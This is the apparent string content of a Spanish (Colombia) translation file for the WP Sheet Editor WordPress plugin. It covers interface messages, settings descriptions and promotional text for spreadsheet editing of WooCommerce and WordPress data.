IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_CO MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas 